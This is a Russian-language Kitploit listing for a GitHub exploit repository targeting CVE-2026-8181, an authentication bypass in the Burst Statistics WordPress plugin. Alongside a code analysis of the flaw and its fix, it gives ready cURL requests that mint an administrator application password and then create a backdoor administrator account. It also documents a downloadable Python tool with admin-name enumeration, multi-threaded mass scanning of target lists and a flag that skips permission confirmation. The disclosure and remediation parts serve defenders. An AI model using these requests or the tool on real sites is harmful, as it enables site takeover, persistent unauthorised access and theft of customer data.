Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181 — Плагин для WordPress Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) уязвим к обходу аутентификации. | Kitploit
Инструменты/GitHubGitHub/yucaerin/cve-2026-8181
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Плагин для WordPress Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) уязвим к обходу аутентификации.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Обход аутентификации для захвата учетной записи администратора

Краткое описание уязвимости

Плагин WordPress Burst Statistics версий с 3.4.0 по 3.4.1.1 уязвим к неаутентифицированному обходу аутентификации, что приводит к полному захвату учетной записи администратора. Эта критическая ошибка позволяет неаутентифицированному злоумышленнику, знающему любое имя пользователя администратора, сгенерировать действующий пароль приложения WordPress для этой учетной записи за один HTTP-запрос, получая постоянный доступ уровня администратора ко всему сайту.

Уязвимость возникает из-за функции is_mainwp_authenticated() в файле class-mainwp-proxy.php. Эта функция вызывает wp_authenticate_application_password() и проверяет только то, является ли результат WP_Error. Она не проверяет, является ли результат на самом деле успешным объектом WP_User. Когда внутренний фильтр WordPress application_password_is_api_request возвращает false — что происходит при вызове вне обычного потока аутентификации REST API — функция WordPress возвращает null вместо WP_Error или WP_User. Поскольку null не является WP_Error, проверка проходит, и выбранный злоумышленником пользователь-администратор устанавливается как текущий пользователь через wp_set_current_user().

Как только текущий пользователь становится администратором, последующие проверки прав доступа проходят. Затем злоумышленник может обратиться к REST-эндпоинту /burst/v1/mainwp-auth, который создает пароль приложения WordPress для учетной записи администратора и возвращает его в ответе. Это дает злоумышленнику постоянный полный доступ уровня администратора.

Затронутый плагин

Что могут сделать злоумышленники

Технический анализ

Инициализация плагина и уязвимый шлюз

Burst Statistics инициализируется во время хука plugins_loaded WordPress с приоритетом 9 внутри файла class-burst.php:

root@kitploit:~
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() является шлюзом для всего функционала администратора. Она проверяет заголовок X-BurstMainWP и вызывает уязвимую функцию:

root@kitploit:~
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

Уязвимая функция: is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Почему wp_authenticate_application_password() возвращает null

Внутренняя функция WordPress wp_authenticate_application_password() имеет фильтр:

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

При вызове вне потока аутентификации REST API она возвращает null. Код Burst Statistics проверял только is_wp_error($is_valid) — null не является WP_Error, поэтому проверка некорректно проходит.

Путь выполнения к захвату администратора

  1. Злоумышленник отправляет заголовок X-BurstMainWP: 1 с любым запросом
  2. has_admin_access() запускает is_mainwp_authenticated()
  3. wp_authenticate_application_password() возвращает null (не в контексте API)
  4. is_wp_error(null) = false → проверка проходит
  5. Выполняется wp_set_current_user($admin_id)
  6. Текущий пользователь теперь является выбранным администратором
  7. Злоумышленник отправляет POST-запрос к /burst/v1/mainwp-auth
  8. handle_auth_request() создает пароль приложения WordPress
  9. Токен возвращается в виде base64(username:app_password)
  10. Злоумышленник использует этот токен для постоянного доступа к REST API администратора

Анализ исправления (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Примененные исправления:

  • Принудительная установка фильтра application_password_is_api_request в true, чтобы происходила фактическая проверка пароля
  • Проверка, что результат является экземпляром WP_User (а не null)
  • Использование hash_equals() для проверки совпадения имени пользователя

Кроме того, функция check_auth_permission() для REST-эндпоинта была усилена, чтобы требовать current_user_can('manage_burst_statistics') и явную проверку nonce для запросов, аутентифицированных через cookie.

Доказательство концепции

Ручной cURL

root@kitploit:~
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Инструмент эксплуатации на Python

Скрипт exploit_burst_statistics.py автоматизирует всю цепочку атаки:

  • Фаза 0: Обнаружение версии через readme.txt, заголовок плагина или строки запроса ресурсов
  • Фаза 1: Перебор имени пользователя администратора через REST API, страницы авторов или список распространенных имен пользователей
  • Фаза 2: Обход аутентификации с помощью X-BurstMainWP: 1 + поддельной Basic Auth для создания токена
  • Фаза 3: Проверка токена и проверка структуры
  • Массовое сканирование: Многопоточное сканирование нескольких целей с записью уязвимых целей в реальном времени

Возможности эксплойта

  • Неаутентифицированный — не требует предварительного доступа
  • Один HTTP-запрос для создания постоянного пароля приложения
  • Автоматически определяет версию Burst Statistics и пропускает исправленные цели
  • Автоматически перебирает имя пользователя администратора, если оно не указано
  • Поддерживает как красивые постоянные ссылки (/wp-json/), так и некрасивые (/?rest_route=)
  • Массовое сканирование с помощью ThreadPoolExecutor
  • Запись в файл в реальном времени — уязвимые цели сохраняются сразу, без ожидания завершения сканирования
  • Потокобезопасная блокировка файлов

Использование

Одиночная цель (автоматический перебор администратора)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

Одиночная цель (известное имя пользователя администратора)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

Массовое сканирование

Создайте targets.txt:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

Параметры

Рекомендации по исправлению

Для разработчиков и владельцев сайтов:

  1. Немедленно обновите Burst Statistics до версии 3.4.2 или более новой
  2. Если обновление невозможно, временно отключите плагин
  3. После обновления отзовите все существующие пароли приложений для учетных записей администраторов:
    • WP Admin → Пользователи → [Администратор] → Пароли приложений → Отозвать все
  4. Проверьте на наличие несанкционированных учетных записей администраторов или неожиданного создания пользователей
  5. Просмотрите журналы сервера на наличие запросов, содержащих заголовок X-BurstMainWP: 1

Хронология

ДатаСобытие
2026-05-08CVE зарезервирован
2026-05-11Уведомлен разработчик
2026-05-13

Исследователь

  • Автор: Chloe Chamberland — Wordfence PRISM

Ссылки

  • Консультация Wordfence
  • Запись CVE
  • Разница патча — class-mainwp-proxy.php
  • NVD

Отказ от ответственности

Эта информация предоставляется только для образовательных и авторизованных тестов на проникновение. Несанкционированная эксплуатация компьютерных систем незаконна и неэтична. Всегда получайте явное письменное разрешение перед тестированием любой цели, которая вам не принадлежит.

Скачать инструмент
ПолеЗначение
Название плагинаBurst Statistics – Privacy-Friendly WordPress Analytics
Идентификатор плагинаburst-statistics
Затронутые версии3.4.0 – 3.4.1.1
Исправленная версия3.4.2
Идентификатор CVECVE-2026-8181
Оценка CVSS9.8 (Critical)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Тип уязвимостиОбход аутентификации (Некорректная аутентификация)
CWECWE-287 — Improper Authentication
ВоздействиеПолный захват сайта — Захват учетной записи администратора
ВозможностьВоздействие
Создание пароля приложения для любого администратораПостоянный доступ администратора
Создание новых учетных записей администратора через REST APIРазмножение учетных записей
Установка плагинов/темУдаленное выполнение кода
Редактирование записей, страниц и настроекДефейс сайта
Экспорт или удаление всех данных сайтаУничтожение/Эксфильтрация данных
Доступ к данным WooCommerce/клиентовУтечка данных
ФлагОписание
-t, --targetURL одной цели
-l, --listФайл со списком целей (по одной в строке)
-T, --threadsПотоки для массового сканирования (по умолчанию: 10)
-o, --outputВыходной файл для результатов (по умолчанию: result_burst_statistics.txt)
-u, --usernameИзвестное имя пользователя администратора (пропустить перебор)
-v, --verboseПодробный вывод отладки
--timeoutТайм-аут запроса в секундах (по умолчанию: 20)
--no-confirmПропустить запрос подтверждения разрешения
Публично раскрыто
2026-05-13Выпущено исправление (v3.4.2)
2026-05-15Сообщено об активной эксплуатации в реальных условиях